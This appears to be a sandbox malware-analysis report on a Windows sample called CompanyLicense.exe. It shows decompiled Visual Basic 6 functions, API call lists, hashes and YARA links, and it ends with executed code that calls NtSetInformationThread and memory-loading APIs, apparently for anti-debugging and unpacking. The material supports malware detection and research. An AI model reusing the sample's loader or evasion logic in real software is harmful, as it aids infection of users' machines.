				_v12 = 0x401298;
				L004013EE();
				 *_a52 =  *_a52 & 0x00000000;
				if( *0x413744 != 0) {
					_v84 = 0x413744;
				} else {
					_push(0x413744);
					_push(0x403bc8);
					L0040142A();
					_v84 = 0x413744;
				}
				_t8 =  &_v84; // 0x413744
				_v60 =  *((intOrPtr*)( *_t8));
				_t46 =  *((intOrPtr*)( *_v60 + 0x14))(_v60,  &_v52);
				asm("fclex");
				_v64 = _t46;
				if(_v64 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x403bb8);
					_push(_v60);
					_push(_v64);
					L0040145A();
					_v88 = _t46;
				}
				_v68 = _v52;
				_t51 =  *((intOrPtr*)( *_v68 + 0x118))(_v68,  &_v56);
				asm("fclex");
				_v72 = _t51;
				if(_v72 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403bf4);
					_push(_v68);
					_push(_v72);
					L0040145A();
					_v92 = _t51;
				}
				_t52 = _v56;
				_v32 = _t52;
				L0040144E();
				_push(0x4118b6);
				L0040140C();
				return _t52;
			}

0x00411799
0x0041179c
0x004117a7
0x004117a8
0x004117af
0x004117b2
0x004117ba
0x004117bd
0x004117ca
0x004117d2
0x004117dc
0x004117f6
0x004117de
0x004117de
0x004117e3
0x004117e8
0x004117ed
0x004117ed
0x004117fd
0x00411802
0x00411811
0x00411814
0x00411816
0x0041181d
0x00411836
0x0041181f
0x0041181f
0x00411821
0x00411826
0x00411829
0x0041182c
0x00411831
0x00411831
0x0041183d
0x0041184c
0x00411852
0x00411854
0x0041185b
0x00411877
0x0041185d
0x0041185d
0x00411862
0x00411867
0x0041186a
0x0041186d
0x00411872
0x00411872
0x0041187b
0x0041187f
0x00411886
0x0041188b
0x004118b0
0x004118b5

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004117B2
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 004117CA
__vbaNew2.MSVBVM60(00403BC8,00413744,?,?,?,?,004012E6), ref: 004117E8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB8,00000014), ref: 0041182C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BF4,00000118), ref: 0041186D
__vbaFreeObj.MSVBVM60 ref: 00411886
__vbaFreeStr.MSVBVM60(004118B6), ref: 004118B0

Strings

D7A, xrefs: 004117FD

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$CheckFreeHresult$ChkstkCopyNew2
String ID: D7A
API String ID: 746201682-420359484
Opcode ID: 7f21c03fff2b7942bc3479a46f32500b7b470f8e9924f534b3896a954edc29ee
Instruction ID: 3da20f0e6b97daf0e09974339a0e336b86ea47bf3633eb58ce79b472e72b8b34
Opcode Fuzzy Hash: 7f21c03fff2b7942bc3479a46f32500b7b470f8e9924f534b3896a954edc29ee
Instruction Fuzzy Hash: AE31D274900208EFCB00EFD5D986BDDBBB4BF04709F20812AF111BB2A1D7786986DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00410F23, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00410F23(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v48;
				signed int _v52;
				signed int _t21;
				char* _t24;
				intOrPtr _t34;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t34;
				_t21 = 0x20;
				L004012E0();
				_v12 = _t34;
				_v8 = 0x401218;
				_push(0);
				_push(1);
				_push(2);
				L004013D0();
				if(_t21 != 0x102) {
					if( *0x413744 != 0) {
						_v48 = 0x413744;
					} else {
						_push(0x413744);
						_push(0x403bc8);
						L0040142A();
						_v48 = 0x413744;
					}
					_v36 =  *_v48;
					_t24 =  &_v32;
					L00401460();
					_t21 =  *((intOrPtr*)( *_v36 + 0x10))(_v36, _t24, _t24, _a4);
					asm("fclex");
					_v40 = _t21;
					if(_v40 >= 0) {
						_v52 = _v52 & 0x00000000;
					} else {
						_push(0x10);
						_push(0x403bb8);
						_push(_v36);
						_push(_v40);
						L0040145A();
						_v52 = _t21;
					}
					L0040144E();
				}
				asm("wait");
				_push(0x410fea);
				return _t21;
			}

0x00410f28
0x00410f33
0x00410f34
0x00410f3d
0x00410f3e
0x00410f46
0x00410f49
0x00410f50
0x00410f52
0x00410f54
0x00410f56
0x00410f60
0x00410f69
0x00410f83
0x00410f6b
0x00410f6b
0x00410f70
0x00410f75
0x00410f7a
0x00410f7a
0x00410f8f
0x00410f95
0x00410f99
0x00410fa7
0x00410faa
0x00410fac
0x00410fb3
0x00410fcc
0x00410fb5
0x00410fb5
0x00410fb7
0x00410fbc
0x00410fbf
0x00410fc2
0x00410fc7
0x00410fc7
0x00410fd3
0x00410fd3
0x00410fd8
0x00410fd9
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00410F3E
#588.MSVBVM60(00000002,00000001,00000000,?,?,?,?,004012E6), ref: 00410F56
__vbaNew2.MSVBVM60(00403BC8,00413744,00000002,00000001,00000000,?,?,?,?,004012E6), ref: 00410F75
__vbaObjSetAddref.MSVBVM60(?,?,00000002,00000001,00000000,?,?,?,?,004012E6), ref: 00410F99
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB8,00000010,?,?,?,?,?,?,004012E6), ref: 00410FC2
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,004012E6), ref: 00410FD3

Strings

D7A, xrefs: 00410F83

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$#588AddrefCheckChkstkFreeHresultNew2
String ID: D7A
API String ID: 999118292-420359484
Opcode ID: 01a679c422231bad8ea73c2104b811225daee1e1c8a65197560c9b6deb36dafa
Instruction ID: 3187185d973d63851f34d3e6364edd9d147b0b1c8e573a859bc00980647bc6e6
Opcode Fuzzy Hash: 01a679c422231bad8ea73c2104b811225daee1e1c8a65197560c9b6deb36dafa
Instruction Fuzzy Hash: 6E11EDB0A50208AFDB109F95C846FDDB7B4EB08B09F10806BF411B61E1D7FD69859B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00411A18, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00411A18(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v32;
				short _v36;
				signed int _t15;
				short _t19;
				void* _t26;
				void* _t28;
				intOrPtr _t29;

				_t29 = _t28 - 0xc;
				 *[fs:0x0] = _t29;
				L004012E0();
				_v16 = _t29;
				_v12 = 0x4012b8;
				_v8 = 0;
				_t15 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x14,  *[fs:0x0], 0x4012e6, _t26);
				_push(0x403c1c);
				L00401382();
				L0040141E();
				_push(_t15);
				_push(0x403c28);
				L004013B8();
				asm("sbb eax, eax");
				_v36 =  ~( ~( ~_t15));
				L0040140C();
				_t19 = _v36;
				if(_t19 != 0) {
					_push(L"RESYNTHESIZED");
					L0040137C();
				}
				_push(0x411aae);
				return _t19;
			}

0x00411a1b
0x00411a2a
0x00411a34
0x00411a3c
0x00411a3f
0x00411a46
0x00411a55
0x00411a58
0x00411a5d
0x00411a67
0x00411a6c
0x00411a6d
0x00411a72
0x00411a79
0x00411a7f
0x00411a86
0x00411a8b
0x00411a91
0x00411a93
0x00411a98
0x00411a98
0x00411a9d
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411A34
#521.MSVBVM60(00403C1C,?,?,?,?,004012E6), ref: 00411A5D
__vbaStrMove.MSVBVM60(00403C1C,?,?,?,?,004012E6), ref: 00411A67
__vbaStrCmp.MSVBVM60(00403C28,00000000,00403C1C,?,?,?,?,004012E6), ref: 00411A72
__vbaFreeStr.MSVBVM60(00403C28,00000000,00403C1C,?,?,?,?,004012E6), ref: 00411A86
#532.MSVBVM60(RESYNTHESIZED,00403C28,00000000,00403C1C,?,?,?,?,004012E6), ref: 00411A98

Strings

RESYNTHESIZED, xrefs: 00411A93

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$#521#532ChkstkFreeMove
String ID: RESYNTHESIZED
API String ID: 2085174944-2169086100
Opcode ID: 17e6767fb07ce83aaf1d68e157f72268f6229ea2235a02ca94614b3019aba531
Instruction ID: d5b90627d7ac837f56a4303c11ebbad2206acfc21c0c3180c02dd93269833440
Opcode Fuzzy Hash: 17e6767fb07ce83aaf1d68e157f72268f6229ea2235a02ca94614b3019aba531
Instruction Fuzzy Hash: 56018F31A40309ABDB00AFA5C842FAE7BA8AF04B44F10817BF505F71E1DA7C99408799

Uniqueness

Uniqueness Score: -1.00%

Function 0041115C, Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041115C(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				char _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v64;
				signed int _v68;
				char* _t36;
				signed int _t39;
				void* _t50;
				void* _t52;
				intOrPtr _t53;

				_t53 = _t52 - 0xc;
				 *[fs:0x0] = _t53;
				L004012E0();
				_v16 = _t53;
				_v12 = 0x401238;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4012e6, _t50);
				L00401412();
				if( *0x413010 != 0) {
					_v64 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v64 = 0x413010;
				}
				_t36 =  &_v44;
				L00401430();
				_v48 = _t36;
				_t39 =  *((intOrPtr*)( *_v48 + 0x1bc))(_v48, _t36,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x2fc))( *_v64));
				asm("fclex");
				_v52 = _t39;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x1bc);
					_push(0x403ac4);
					_push(_v48);
					_push(_v52);
					L0040145A();
					_v68 = _t39;
				}
				L0040144E();
				_push(0x411247);
				L0040143C();
				return _t39;
			}

0x0041115f
0x0041116e
0x00411178
0x00411180
0x00411183
0x0041118a
0x00411199
0x004111a2
0x004111ae
0x004111c8
0x004111b0
0x004111b0
0x004111b5
0x004111ba
0x004111bf
0x004111bf
0x004111e3
0x004111e7
0x004111ec
0x004111f7
0x004111fd
0x004111ff
0x00411206
0x00411222
0x00411208
0x00411208
0x0041120d
0x00411212
0x00411215
0x00411218
0x0041121d
0x0041121d
0x00411229
0x0041122e
0x00411241
0x00411246

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411178
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 004111A2
__vbaNew2.MSVBVM60(00402B8C,00413010,?,?,?,?,004012E6), ref: 004111BA
__vbaObjSet.MSVBVM60(?,00000000), ref: 004111E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000001BC), ref: 00411218
__vbaFreeObj.MSVBVM60 ref: 00411229
__vbaFreeVar.MSVBVM60(00411247), ref: 00411241

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2
String ID:
API String ID: 1725699769-0
Opcode ID: 35640f0ab917591a226f63932e4bb344571b0fc7e0d88eee38d0c25644cba070
Instruction ID: b7572510e73ec9a1a96d7c45c6eec1d40246c35e3abe97173b01bd1eb91a77cf
Opcode Fuzzy Hash: 35640f0ab917591a226f63932e4bb344571b0fc7e0d88eee38d0c25644cba070
Instruction Fuzzy Hash: E821F571A00208AFCB00EFA5D889BDDBBB4BB08708F10846AF501BB2B1C7795945DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004115F7, Relevance: 10.5, APIs: 7, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004115F7(void* __ebx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4, void* _a12, void* _a32, signed int* _a60) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				void* _v28;
				char _v44;
				signed int* _t19;
				char* _t22;
				void* _t29;
				void* _t31;
				long long* _t32;

				_t32 = _t31 - 0xc;
				 *[fs:0x0] = _t32;
				L004012E0();
				_v16 = _t32;
				_v12 = 0x401278;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4012e6, _t29);
				L004013EE();
				_t22 =  &_v44;
				L00401412();
				_t19 = _a60;
				 *_t19 =  *_t19 & 0x00000000;
				asm("fldz");
				_push(_t22);
				_push(_t22);
				 *_t32 = __fp0;
				L004013D6();
				L004013DC();
				asm("fcomp qword [0x401200]");
				asm("wait");
				_push(0x41168c);
				L0040140C();
				L0040143C();
				return _t19;
			}

0x004115fa
0x00411609
0x00411613
0x0041161b
0x0041161e
0x00411625
0x00411634
0x0041163d
0x00411645
0x00411648
0x0041164d
0x00411650
0x00411653
0x00411655
0x00411656
0x00411657
0x0041165a
0x0041165f
0x00411664
0x0041166a
0x0041166b
0x0041167e
0x00411686
0x0041168b

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411613
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 0041163D
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411648
#586.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 0041165A
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 0041165F
__vbaFreeStr.MSVBVM60(0041168C,?,?,?,?,?,?,004012E6), ref: 0041167E
__vbaFreeVar.MSVBVM60(0041168C,?,?,?,?,?,?,004012E6), ref: 00411686

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$#586ChkstkCopy
String ID:
API String ID: 2927221586-0
Opcode ID: 20662ab008779d6191b56aa9a7b622cd748215930fc66dcd3071416e6bad104e
Instruction ID: 09e4618c762cea16ed281a7b82bc8b24669cca391fbda1be14325449a5432391
Opcode Fuzzy Hash: 20662ab008779d6191b56aa9a7b622cd748215930fc66dcd3071416e6bad104e
Instruction Fuzzy Hash: 67012970500209EBDB00EF91C986B9E7BB4FF04748F40816AF401B71F1DBB89945CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00411AD7, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00411AD7(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				short _v36;
				signed int _t16;
				short _t20;
				void* _t27;
				void* _t29;
				intOrPtr _t30;

				_t30 = _t29 - 0xc;
				 *[fs:0x0] = _t30;
				L004012E0();
				_v16 = _t30;
				_v12 = 0x4012c8;
				_v8 = 0;
				_t16 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x14,  *[fs:0x0], 0x4012e6, _t27);
				_push(0x403c50);
				L00401376();
				L0040141E();
				_push(_t16);
				_push(0x403c58);
				L004013B8();
				asm("sbb eax, eax");
				_v36 =  ~( ~( ~_t16));
				L0040140C();
				_t20 = _v36;
				if(_t20 != 0) {
					_push(0x2f);
					L00401370();
					_v28 = _t20;
				}
				_push(0x411b6d);
				return _t20;
			}

0x00411ada
0x00411ae9
0x00411af3
0x00411afb
0x00411afe
0x00411b05
0x00411b14
0x00411b17
0x00411b1c
0x00411b26
0x00411b2b
0x00411b2c
0x00411b31
0x00411b38
0x00411b3e
0x00411b45
0x00411b4a
0x00411b50
0x00411b52
0x00411b54
0x00411b59
0x00411b59
0x00411b5c
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411AF3
#527.MSVBVM60(00403C50,?,?,?,?,004012E6), ref: 00411B1C
__vbaStrMove.MSVBVM60(00403C50,?,?,?,?,004012E6), ref: 00411B26
__vbaStrCmp.MSVBVM60(00403C58,00000000,00403C50,?,?,?,?,004012E6), ref: 00411B31
__vbaFreeStr.MSVBVM60(00403C58,00000000,00403C50,?,?,?,?,004012E6), ref: 00411B45
#569.MSVBVM60(0000002F,00403C58,00000000,00403C50,?,?,?,?,004012E6), ref: 00411B54

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$#527#569ChkstkFreeMove
String ID:
API String ID: 1161317979-0
Opcode ID: a32b04e446ce3a497a6355b8a851c52fef2ae955206f86cb34846f6d8a3d4b4a
Instruction ID: 4d12b6788da6921758621beb10029e76731b365777bc50c3df8fdd1bf8bd2940
Opcode Fuzzy Hash: a32b04e446ce3a497a6355b8a851c52fef2ae955206f86cb34846f6d8a3d4b4a
Instruction Fuzzy Hash: 73017134A40209ABDB00AFA5C842FAE7BB8AF04B40F10817AF501FB5F1EB7C59408759

Uniqueness

Uniqueness Score: -1.00%

Function 004116B5, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E004116B5(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v48;
				signed int _v52;
				char* _t26;
				signed int _t29;
				intOrPtr _t40;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t40;
				_push(0x20);
				L004012E0();
				_v12 = _t40;
				_v8 = 0x401288;
				if( *0x413010 != 0) {
					_v48 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v48 = 0x413010;
				}
				_t26 =  &_v32;
				L00401430();
				_v36 = _t26;
				_t29 =  *((intOrPtr*)( *_v36 + 0x1a8))(_v36, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v48)) + 0x300))( *_v48));
				asm("fclex");
				_v40 = _t29;
				if(_v40 >= 0) {
					_v52 = _v52 & 0x00000000;
				} else {
					_push(0x1a8);
					_push(0x403ac4);
					_push(_v36);
					_push(_v40);
					L0040145A();
					_v52 = _t29;
				}
				L0040144E();
				asm("wait");
				_push(0x41177b);
				return _t29;
			}

0x004116ba
0x004116c5
0x004116c6
0x004116cd
0x004116d0
0x004116d8
0x004116db
0x004116e9
0x00411703
0x004116eb
0x004116eb
0x004116f0
0x004116f5
0x004116fa
0x004116fa
0x0041171e
0x00411722
0x00411727
0x00411732
0x00411738
0x0041173a
0x00411741
0x0041175d
0x00411743
0x00411743
0x00411748
0x0041174d
0x00411750
0x00411753
0x00411758
0x00411758
0x00411764
0x00411769
0x0041176a
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004116D0
__vbaNew2.MSVBVM60(00402B8C,00413010,?,?,?,?,004012E6), ref: 004116F5
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,004012E6), ref: 00411722
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000001A8,?,?,?,?,?,?,?,?,004012E6), ref: 00411753
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,004012E6), ref: 00411764

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID:
API String ID: 4127847336-0
Opcode ID: f8580a5453b2530fc23ef433abbfb0f0ebd4ae4e31724340d7c6ff473b24ef7d
Instruction ID: c0aaf02476ce0a8e4f84cfcd2f620ec5539b16ec191209a4eb2ff413db34f8aa
Opcode Fuzzy Hash: f8580a5453b2530fc23ef433abbfb0f0ebd4ae4e31724340d7c6ff473b24ef7d
Instruction Fuzzy Hash: 6E111770A00208AFCB00DFA5C849FDDBBB8FB09705F20856AF511B72A1C77D5941DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411437, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00411437(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v40;
				char _v48;
				char* _t18;
				void* _t26;
				void* _t28;
				intOrPtr _t29;

				_t29 = _t28 - 0xc;
				 *[fs:0x0] = _t29;
				L004012E0();
				_v16 = _t29;
				_v12 = 0x401258;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x30,  *[fs:0x0], 0x4012e6, _t26);
				_v40 = 2;
				_v48 = 2;
				_t18 =  &_v48;
				_push(_t18);
				L004013A0();
				L0040141E();
				L0040143C();
				_push(0x4114b9);
				L0040140C();
				return _t18;
			}

0x0041143a
0x00411449
0x00411453
0x0041145b
0x0041145e
0x00411465
0x00411474
0x00411477
0x0041147e
0x00411485
0x00411488
0x00411489
0x00411493
0x0041149b
0x004114a0
0x004114b3
0x004114b8

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411453
#536.MSVBVM60(00000002), ref: 00411489
__vbaStrMove.MSVBVM60(00000002), ref: 00411493
__vbaFreeVar.MSVBVM60(00000002), ref: 0041149B
__vbaFreeStr.MSVBVM60(004114B9,00000002), ref: 004114B3

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$Free$#536ChkstkMove
String ID:
API String ID: 2104488870-0
Opcode ID: 4d3dd28cf59827caa04d209e24bcdec927641bd5309243f33278595d2d676ed9
Instruction ID: 6e137ad59e1bd904b46978aff12423ae5b23b1d0861eca15e6423218e8cd172a
Opcode Fuzzy Hash: 4d3dd28cf59827caa04d209e24bcdec927641bd5309243f33278595d2d676ed9
Instruction Fuzzy Hash: 8B013174900208ABCB00EFA5C986BDEBBB8AF04744F50816AF501B71A1D77C9945CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00410E93, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00410E93(void* __ebx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				char _v40;
				void* _t14;
				char* _t16;
				void* _t21;
				void* _t23;
				long long* _t24;

				_t24 = _t23 - 0xc;
				 *[fs:0x0] = _t24;
				L004012E0();
				_v16 = _t24;
				_v12 = 0x401208;
				_v8 = 0;
				_t14 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x18,  *[fs:0x0], 0x4012e6, _t21);
				_t16 =  &_v40;
				L00401412();
				asm("fldz");
				_push(_t16);
				_push(_t16);
				 *_t24 = __fp0;
				L004013D6();
				L004013DC();
				asm("fcomp qword [0x401200]");
				asm("wait");
				_push(0x410f04);
				L0040143C();
				return _t14;
			}

0x00410e96
0x00410ea5
0x00410eaf
0x00410eb7
0x00410eba
0x00410ec1
0x00410ed0
0x00410ed6
0x00410ed9
0x00410ede
0x00410ee0
0x00410ee1
0x00410ee2
0x00410ee5
0x00410eea
0x00410eef
0x00410ef5
0x00410ef6
0x00410efe
0x00410f03

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00410EAF
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00410ED9
#586.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 00410EE5
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 00410EEA
__vbaFreeVar.MSVBVM60(00410F04,?,?,?,?,?,?,004012E6), ref: 00410EFE

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$#586ChkstkFree
String ID:
API String ID: 1198234147-0
Opcode ID: eb471ee9643b88fa207f38bbfd592858992b61494404b2e6dbd64ca7e812b81f
Instruction ID: 8b06fd58f1f951ba07d5b71ec4789900f5daed13fd88298029dea63f756d61bb
Opcode Fuzzy Hash: eb471ee9643b88fa207f38bbfd592858992b61494404b2e6dbd64ca7e812b81f
Instruction Fuzzy Hash: E9F04F70900209ABCB00EF95C946F9DBBB8EF04744F5085AEF400B71B1DBB85A44CB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CompanyLicense.exe PID: 6572 Parent PID: 5148 CompanyLicense.exeCOMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	412
Total number of Limit Nodes:	14

Executed Functions

Function 00569248, Relevance: 1.8, APIs: 1, Instructions: 333
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 0056958E

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 1da4b11abcea70f6f38c6bd4cfe5ca3e0442990a793d84590e8cdcd952b51640
Instruction ID: 0a1be0992238693e35cf3666cb125c100ab41819d604686a3222fff7c7ca5411
Opcode Fuzzy Hash: 1da4b11abcea70f6f38c6bd4cfe5ca3e0442990a793d84590e8cdcd952b51640
Instruction Fuzzy Hash: 39C1CD15C4D8CB47C61302B55469284FFBB3EA3934FC922DA9DA603636DB622DB487D3

Uniqueness

Uniqueness Score: -1.00%

Function 0056833C, Relevance: 1.8, APIs: 1, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 6624410d494d2cbd570f373df4ac4c2dc275bd7830bf4ed86f4040004c6ff9e0
